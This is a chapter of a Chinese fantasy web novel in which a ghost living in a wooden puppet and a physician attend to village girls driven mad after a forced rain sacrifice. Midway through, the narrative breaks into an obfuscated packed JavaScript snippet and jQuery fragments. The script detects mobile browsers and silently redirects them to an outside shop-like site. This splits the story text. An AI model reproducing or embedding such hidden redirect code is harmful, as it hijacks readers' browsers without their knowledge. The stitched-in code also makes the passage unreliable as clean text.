12. 怪病

作品:《求你,别死

    “怪病?这事儿应医师熟啊。”贺卿生收好法器,敲了敲应去劫的手指,示意他一起跟上去看看。


    “你倒是不客气。”应去劫托着小木偶颠了两下。


    上官定安略显犹疑:“应医师你……”他生怕对方不愿意。


    “无妨,带路吧。”应去劫对上官定安颔首应允,不欲多言。


    上官定安浸淫官场,自是八面玲珑善于察言观色,见应去劫答应下来,便识趣地没再提其他,连忙上前带路。


    应去劫不算多话,上官定安和齐绾许是知道了贺卿生这一特殊的存在,也难得地没有唠嗑。


    上官定安和齐绾都看不见贺卿生本体,所以贺卿生同她俩说话,便需要耗费些煞气才能让人听到。


    她话多归多,但煞气损耗得快,她现在得抠搜一些度日。


    贺卿生此时的注意力,就全然转移到了应去劫身上。


    反正他都是能听到的。


    “应医师啊,你不说你第一个救的是我吗?那这即墨镇的百姓不算你第一个救的吗?你学医这么多年难道从来没有实践过吗?”


    应去劫看着贺卿生眼中明晃晃写着的“这你也敢救人啊?”,为自己损失的丹药感到痛心。


    “师父从前只许我学习,不许我实践。准确来说,你是我下山以来,第一个亲自上手救的。即墨的百姓还没到需要我亲自喂药的程度。”


    应去劫语气幽怨:“喂你的药,最少的都花了我三年时间炼制。”你居然还是死了。


    贺卿生意会到应去劫的言下之意,咧嘴一笑:“哎呀,应医师宅心仁厚,我也不想死,这不是没办法吗?”


    “是的,可是师父临终嘱托,若有人死在了我手上,便不可再行医治病。”


    而他下山行医至今,甚至还没有治过几个人。


    上官定安和齐绾虽然前面听得云里雾里,但是对应去劫现下这句话,迅速做出了反应:


    “应医师此言差矣,医师尽力搭救,若仍无能为力,此乃患者生死有命,怎能如此便让医师不再行医?这样的话,后来之人岂不是冤枉。”


    “对呀,若应医师真就此不再行医,且不说所学多年花的时间,您这一身本事岂不是浪费了。”


    齐绾一边点头一边附和,他俩生怕应去劫临时改了主意。


    “家师之意,正是指,若世间出现我救不活的人,那此后其他人,都应生死由命,不能由我改命。”应去劫的神色平静,仿佛只是在阐述一个无关痛痒的故事。


    可是让一位自幼学医的医者,仅因未能救活一人,便不许其再行医。之中的深意,怕不是如此轻描淡写的三言两语能阐释清楚的。


    上官定安摸了摸鼻子。


    沉默,马车内再次陷入了尴尬的氛围。


    车身碾过一处不平的石坎,剧烈地震荡了一下。因为惯性,小木偶身子一歪,头轻轻磕在应去劫手腕处。


    “得了,你有这么听话?”贺卿生撑着木手指,笨拙地坐回应去劫手中,直觉告诉她,要是应去劫真没打算再救人,他是绝不会上这辆马车的。


    应去劫的师父教育模式不行,临终还把徒弟往心魔上引。得亏他是凡人,不会因此造成更大影响。


    要知道木妖明树,就是典型的执念生心魔,险些灭了这万里生灵。


    贺卿生顺着瞧了眼应去劫掌中的纹路,命线恒长,无枝无杈,一看就是福寿绵长之人。凡人寿数短暂,长寿已是不亦,贺卿生兴致缺缺地转移了视线:“你若想救人却仍有心结,便把我当活人,反正也没啥区别。”


    贺卿生像是想到了什么,被自己的话逗笑了:“我也是活人微死上了。”


    车帘流苏摇曳,轻轻拂过他的耳畔。


    有些痒。


    应去劫缓缓笑出了声。


    上官定安和齐绾面面相觑,不知道发生了什么,但应去劫的神色是放松且温和的,似乎心情也没有很差。


    “那还……”去吗?齐绾一下被上官定安捂住了嘴。


    应医师没拒绝就是同意啊!上官定安眼神快挤出了一台戏,齐绾还是一副“啊?”的疑惑神情。


    贺卿生觉得实在是没眼看:“还有多久到?”


    “回前辈,约莫还要一刻钟。”


    贺卿生点了点头示意自己知道了,百无聊赖地玩起了小木偶的手指。


    木妖明树雕这个木偶时想必是没什么耐心的,只用了三根木棍,连接成可以简单拿取物品的模样。跟木刻人精细到指纹的程度相比,简直天差地别。


    其实小木偶的轮廓是有些像幻境中木妖明树最初的模样,可她并没有耐心将自己的模样雕完。


    她也永远想不到,就是这个粗糙的小家伙里,汇聚了她最后想要的那缕神智。


    云水清的神智。


    煞气捡回小木偶的时候,贺卿生就发现它已经彻底变成了死物。


    原先没有细想,现在回想发现明树似乎并不知道它的存在。


    倒是阴差阳错。


    --


    马车停在镇子外的一处山洞洞口。


    那三个女孩被强硬地捆在三棵树上,旁边站了一派潜龙卫看守。几个粗布麻衣农民模样的中年男人被压着,跪在一边。


    见上官定安下车,立马哭爹喊娘起来。


    “大人啊,草民冤枉。这些都是我们的亲闺女亲姊妹,要不是那邪道教唆,我们怎么可能干这糊涂事啊!”


    “是啊大人,我们也是一时鬼迷心窍。”中间的男人带头,旁边的几人也跟着哐哐给上官定安磕头。


    “大人您锦衣玉食,不知我们即墨能用的田地本就不多,再不降雨我一家老小就都得死啊。况且倘若牺牲了几人真能降雨,也是惠及了这一方百姓啊!”


    “对对对,我们都会记得她们,给她们上族谱修碑文的。”


    应去劫挑了挑眉。


    贺卿生冷笑一声:“不若你们自愿献祭给我,降雨也好,钱权地位也好,我便立马帮你们家人邻友实现了。想必你们姊妹闺女也会牢记尔等大恩,为你们树碑修传的。”


    “鬼啊!”


    “有鬼!”


    几人惶恐地看着应去劫手中发出女声的木偶,一时吓得头也忘了磕,连滚带爬地就要跑,被潜龙卫狠狠按回了原地。


    “怎么都是能实现愿望,我在你们口中就是鬼了?”


    贺卿生的声音冰冷无情,一句反问,胆小点的男人双眼一翻,吓得直接昏死过去。


    不愧是贺前辈!要不是时机不对,齐绾都想给小木偶磕一个。


    上官定安微抬下巴,一个潜龙卫上前抽了领头的男人一巴掌:“昨日即墨便已陆续降雨,发现你们的时候,你们仍要将这些姑娘往洞中推,再晚一步都无法营救。现下竟还敢在大人面前胡言乱语!”


    几人抖若筛糠,谁都不敢多说一声。


    “按大肃律法,强迫活人祭祀者,应同态祭杀。”上官定安摇了摇头。


    人们忌惮祭祀之术,却又坚信祭祀能给他们带来无尽的利益。


    当然,祭的不能是他们自己。


    可是妖道邪术真的能解决问题吗?


    上官定安并不认同。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555941|155455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    连木妖到最后都被潜移默化,以为是邪术致使了即墨镇后来的繁盛,却不知道真正的原因是:


    二十年前,元初五年八月中旬,大肃王朝开国皇帝将即墨镇纳入了版图。大兴土木人力修渠改道,用长达三年的时间治理好了即墨水患。而即墨的繁盛,也是因为皇帝将南北商路要塞定在这山脉交汇之地。


    大肃开国帝王起于微末,信奉事在人为,故而最厌恶邪道妖术。这种传统也很好的继承到了现在,上官定安此次来即墨也就是来想法通渠引水,救治旱灾的。


    谁料解决来解决去,居然又回到了邪术祭祀上了。


    几个中年男人听到同态祭杀,爹也不哭了,娘也不喊了,竹筒倒豆子似的跟上官定安交代前因后果,哀诉祭祀山洞的可怖之处,指望着戴罪立功,上官定安能饶他们一命。


    一时之间,热闹得聒噪。


    “等会再管他们。”应去劫点了下小木偶的脑袋,走向树旁。


    几个女孩的手脚被紧紧束住,手腕都磨破了,却依旧不知痛痒似的,疯狂挣扎。女孩的脖颈和脸上细细密密渗出血珠,她们的指甲中还残留有血肉,是自己下死手抓挠所致。


    可除了抓痕血迹,她们的皮肤上没有其他疮病异常。


    若非眼神呆滞,她们看起来和常人无异。


    不像是失魂,应去劫没有见过这样的症状。


    “呀,又是一个小医师没见过的病呢。”贺卿生欠欠地站了起来,她闻到了一股吸引煞气的味道,“免日辉毒你救不了,现下又被难到了吧。”


    “什么是免日辉?”应去劫自动忽略掉贺卿生的阴阳怪气。


    “就是你采的那药啊,我以为你不中毒是会解呢,合着你不知道啊。”


    “免日辉?金瑶光。你是死于金瑶光的毒?”应去劫很疑惑:“可是金瑶光无毒啊。”


    贺卿生:?


    这破花还区别对待啊?


    算了,死都死了。


    忍……忍一时越想与气。想她一世英名,竟然死得这么窝囊。


    不行,贺卿生咬了咬牙,决定等报完仇,必回去拔了那块花田。


    她现在心情很不好,连带着看几个女孩的眼神越来越露骨。


    应去劫暗道不好,刚想把贺卿生按回来。


    只见她极为放肆地用煞气裹住了几个女孩,刹那间,刺鼻的焦糊味弥漫在山林之中。


    应去劫伸手去抓红色煞气,语气急切:“贺卿生!”


    云层汇聚,他隐约猜得到贺卿生已经被天雷注意到了,眼下她要是控制不住大开杀戒绝对会被当场制裁。


    “这么关心我啊?”小木偶优哉游哉躺回他手上,不慌不忙,非常惬意。声音带着种吃饱喝足的倦怠感:“事情解决了,我睡会儿。”


    语毕,便头一歪失去了动静。


    白玉佩被她塞在小木偶空心的腹部,应去劫知道她肯定回了玉佩。


    他检查了一下那几个女孩的脉象,没有任何异样,女孩们疯魔的状态也平息下来。


    应去劫神色古怪,他又错怪女鬼了。


    歉疚之余,他又有些担心。先前吞了肥遗、鱄鱼乃至旱魃等邪物时,女鬼都没有说过要睡一觉休息一下的话。现在几个女孩身上的东西怎么着也不会和旱魃是一个等级的邪物,她居然说要睡一会。


    会不会她病了?


    女鬼也会生病吗,应去劫无从知晓。


    不过她吃这么多乱七八糟的东西,或许也是会生病的吧。


    应去劫越想越觉得有道理。


    那么问题来了,鬼能治吗?